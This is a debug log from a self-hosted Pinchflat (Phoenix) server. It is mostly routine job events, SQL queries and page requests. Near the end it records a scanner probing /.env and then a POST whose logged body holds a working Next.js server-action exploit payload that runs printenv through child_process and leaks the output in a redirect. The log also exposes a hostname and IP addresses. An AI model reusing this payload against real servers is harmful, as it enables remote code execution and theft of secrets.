{"args":{"id":3},"id":708,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":33528,"event":"job:stop","queue_time":426427,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:31:23.855 [debug] QUERY OK source="tasks" db=0.4ms idle=1.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:31:27.166 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:31:36.217 [info] GET /sources/1/media/2/edit 16:31:36.217 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "2", "source_id" => "1"} Pipelines: [:browser] 16:31:36.217 [debug] QUERY OK source="media_items" db=0.1ms idle=1264.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [2] 16:31:36.217 [debug] QUERY OK source="settings" db=0.0ms idle=1264.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:31:36.217 [debug] QUERY OK source="settings" db=0.0ms idle=1265.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:31:36.218 [debug] QUERY OK source="settings" db=0.0ms idle=1265.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:31:36.218 [info] Sent 200 in 1ms 16:31:57.167 [info] {"source":"oban","duration":458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:32:00.737 [info] {"source":"oban","duration":148,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:32:27.168 [info] {"source":"oban","duration":743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:32:31.249 [info] GET /api/v1/videos 16:32:31.249 [debug] Processing with PinchflatWeb.Api.V1.VideoController.index/2 Parameters: %{} Pipelines: [:api_v1] 16:32:31.270 [debug] QUERY OK source="media_items" db=20.5ms idle=1296.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 [] 16:32:31.320 [info] Sent 200 in 70ms 16:32:39.216 [info] GET /sources/1/media/4/edit 16:32:39.216 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "4", "source_id" => "1"} Pipelines: [:browser] 16:32:39.216 [debug] QUERY OK source="media_items" db=0.1ms idle=1263.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [4] 16:32:39.216 [debug] QUERY OK source="settings" db=0.0ms idle=1264.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:32:39.217 [debug] QUERY OK source="settings" db=0.0ms idle=322.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:32:39.217 [debug] QUERY OK source="settings" db=0.0ms idle=264.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:32:39.217 [info] Sent 200 in 1ms 16:32:57.169 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:33:00.738 [info] {"source":"oban","duration":140,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:33:27.170 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:33:37.882 [info] GET /sources/1/media/6/edit 16:33:37.882 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "6", "source_id" => "1"} Pipelines: [:browser] 16:33:37.883 [debug] QUERY OK source="media_items" db=0.3ms idle=930.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6] 16:33:37.883 [debug] QUERY OK source="settings" db=0.2ms idle=930.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:33:37.884 [debug] QUERY OK source="settings" db=0.3ms idle=931.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:33:37.884 [debug] QUERY OK source="settings" db=0.0ms idle=931.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:33:37.884 [info] Sent 200 in 2ms 16:33:57.171 [info] {"source":"oban","duration":332,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:34:00.739 [info] {"source":"oban","duration":98,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:34:25.740 [info] GET /api/v1/videos 16:34:25.740 [debug] Processing with PinchflatWeb.Api.V1.VideoController.index/2 Parameters: %{} Pipelines: [:api_v1] 16:34:25.762 [debug] QUERY OK source="media_items" db=21.7ms idle=1737.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 [] 16:34:25.816 [info] Sent 200 in 75ms 16:34:25.849 [info] GET /media/dcbf5f18-d2d2-4574-b52c-badc1a56df4c/episode_image.jpg 16:34:25.849 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "dcbf5f18-d2d2-4574-b52c-badc1a56df4c"} Pipelines: [:maybe_basic_auth] 16:34:25.849 [debug] QUERY OK source="media_items" db=0.1ms idle=896.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["dcbf5f18-d2d2-4574-b52c-badc1a56df4c"] 16:34:25.882 [info] Sent 200 in 33ms 16:34:27.172 [info] {"source":"oban","duration":449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:34:30.402 [info] GET /sources/1/media/7/edit 16:34:30.402 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "7", "source_id" => "1"} Pipelines: [:browser] 16:34:30.403 [debug] QUERY OK source="media_items" db=0.1ms idle=1450.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [7] 16:34:30.403 [debug] QUERY OK source="settings" db=0.0ms idle=1450.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:34:30.403 [debug] QUERY OK source="settings" db=0.0ms idle=1450.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:34:30.403 [debug] QUERY OK source="settings" db=0.0ms idle=1395.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:34:30.404 [info] Sent 200 in 1ms 16:34:57.173 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:35:00.741 [info] {"source":"oban","duration":205,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:35:14.331 [info] GET /sources/1/media/5/edit 16:35:14.331 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "5", "source_id" => "1"} Pipelines: [:browser] 16:35:14.331 [debug] QUERY OK source="media_items" db=0.1ms idle=378.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [5] 16:35:14.332 [debug] QUERY OK source="settings" db=0.2ms idle=378.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:14.332 [debug] QUERY OK source="settings" db=0.1ms idle=379.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:14.332 [debug] QUERY OK source="settings" db=0.1ms idle=379.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:14.333 [info] Sent 200 in 2ms 16:35:27.174 [info] {"source":"oban","duration":564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:35:49.076 [info] GET /.env 16:35:49.077 [debug] QUERY OK source="settings" db=0.1ms idle=1124.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:49.077 [debug] QUERY OK source="settings" db=0.0ms idle=1124.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:49.077 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:35:49.077 [error] #PID<0.10942.0> running PinchflatWeb.Endpoint (connection #PID<0.10941.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10941.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34108}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "x-forwarded-for" => "178.105.14.254", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "178.105.14.254" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10942.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"x-forwarded-for", "178.105.14.254"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "178.105.14.254"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVHDSNte6AqqgwAA_jB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10941.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34108}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "x-forwarded-for" => "178.105.14.254", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "178.105.14.254" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10941.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34108}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "x-forwarded-for" => "178.105.14.254", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "178.105.14.254" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10942.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"x-forwarded-for", "178.105.14.254"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "178.105.14.254"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVHDSNte6AqqgwAA_jB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, (truncated) 16:35:50.174 [info] POST /aaa 16:35:50.176 [debug] QUERY OK source="settings" db=0.1ms idle=1098.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:50.176 [debug] QUERY OK source="settings" db=0.0ms idle=1098.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:50.176 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:35:50.176 [error] #PID<0.10944.0> running PinchflatWeb.Endpoint (connection #PID<0.10943.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: POST /aaa ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST /aaa (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10943.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/aaa", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 46734}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "content-length" => "131892", "content-type" => "multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad", "host" => "roku.hartupee.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0", "x-forwarded-for" => "178.105.14.254", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-nextjs-html-request-id" => "SSTMXm7OJ_g0Ncx6jpQt9", "x-nextjs-request-id" => "b5dce965", "x-real-ip" => "178.105.14.254" }, method: "POST", body_length: 131892, path_info: :undefined, qs: "", has_body: true, streamid: 1, host_info: :undefined, has_read_body: true }}, assigns: %{}, body_params: %{ "0" => "{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync(`echo $(printenv | base64 -w 0)`).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n", "1" => "\"$@0\"", "2" => "[]", "qhokocbraomb" => "HTJkkQ0zlvm60DQndj1Q5zmAS6ZQYu5LaVnGwL7LwIGwBYdJC5RtaZHa2J9ZlraDmFHR41gentXzn5K9tAQ9CMjs9A7AWgif7U5YUo2BZ1o6fnkLadxjntRd3y2b8mKcOp76tNFOu3krDXhzMr1o2UJ7aobHb3BcWmcjtUypOt27s4QSpIfLTp6fmqijuFiQ3fk4x3qC8VN5byJNFMF0xMiXIPFeXnyywrl3UblmTOgg2cqT4Lfb9KM5xjjgqoFOIsRLAJJ88dckpdZ3GA7XnUf1mvXP3oRBQwH1u46zmtvJwmGX7s6fHh4MZs7poY0PCXyeD2MIphMcbHsgq6lM2dyJchCDodXtqqRnM6qMS5I9EUN7QWazLhIe6GT6VdCKcQaCzaXW2nUPJNTBmZVEhwwjymeejopdIqKTRsvvTGrfdilgjOBI6uzS5f0Hus0Al8p9aYq8mTz0WEdKVsYt4XZKxxNbsU0sw53ApJppoxlmtXCwIfWNmgrHIEJl8OZUUBg5oEXngAmpnsrGUaB0QVbtqRfjuAYn7SseqmoxFvb5O87aPKOJHZs9n0hSjMnpyu2gtpGn3PPzMpq2UnHi1ZwZnjlofLUuEGjdqJiisVkAwAloU90Vg6cI7nPVPaeQ4XlGvyZvNhd4JYHlgW5NJhndba387KnSR3ODzDen68mRg8Ad3afRHpHfAKX5Ph1qpTIUlMeUDEOO5DdSsoD4qJY8ieldINliD12LIezVTazS4Te7C82X0IvPOhnKArOBZOln7RxsZNvEt7hDkF1UL5eMBVAtBMmfVk093FdpYCY1lIMW59PEzXgVWKH4qNUyWIYeGRXBv3QgLAz3Q5wKOn3FEeFCYMSNjqIhZySbu8qGS8eOeBxYA2TyKGMU2zLHLCqrMGccbJpxMcv7R4eGj7yCVxrtcKvr808t7E4G8XgPABkQgtIkplNYihxA9Fv0rQrgRJUztGtIDnjr19vmMvAHzNk0s8H997f6k9uPpNiZGu7r1rheWnMRWwJOcSq7CMEpiaAXsta3RNzaxZKfE3OPvcHJ7XZa9OGG9kcE8JypcbVBPP0yOod8mSe4dsr4xMC4rbMf8nCPnRTOazGp4StmrHpgegjL2zwjysrAdPr577gGSz44gcwyyfVbooz9ce6uNphg2VzmBTnLNxENyI6n2lNjOfjUsEiOwpxAE8dgKXngpnftWGVgpDOPD2G1wX1hJs2LkossRJkiCImPuBCdnDkQo3rAV8YaTtJg3N87Yu8NJUZnVaW53YFktIrVKA7leXB1GNasaUQCBlO415MlC3UXYi13E8f97zVq7NWFl8bPn1heHfcmeimb2U2LMjTKaoSNw1cscdOlf88LBW1bBpmCzdrT88Ti1SvuG9AEPgsEd8feshtW6ncCH7AFpn6qs2DAhq8MBnsfuIX5qMBdmIYlG1FMvHOPoevSYfVosK7Qcm5pgNBJlvzSOJJ9rskAiVv3cXXHbQ8o1JhctFB8sRv8wQoNom697SFgbHCFRcWAdilOXIugLkBEQ3bWmiB5fARutTrHytfPxCmzzL5GyT7gRSiekLuxCVDpI9kB80bnWYBFkvTNM97tkBPP6dCJXfYf72GleiKNNtgKML2t4WB599KdqZ3o7StJatNzpkZs0JEjqLtYZDiNoHvS665Kghk6ePThdtVfDUgTDQSVOWmANHip45ciNsYNa6KoK2jssU1KnzuwhWfCH0GBMIs05om7c9btkmMqEPKc1oegljeIwSEws1aBhaKWwQEbk4xGmfO3CSjxDu6jOggXwU1PxJyUMygAslJRV4zvU05fVpeDHJWV2tNVVGOEtcubitFoYUtB9Tehy8gssROLI4GxuhnIbUumhfUO34AsHkgVQ57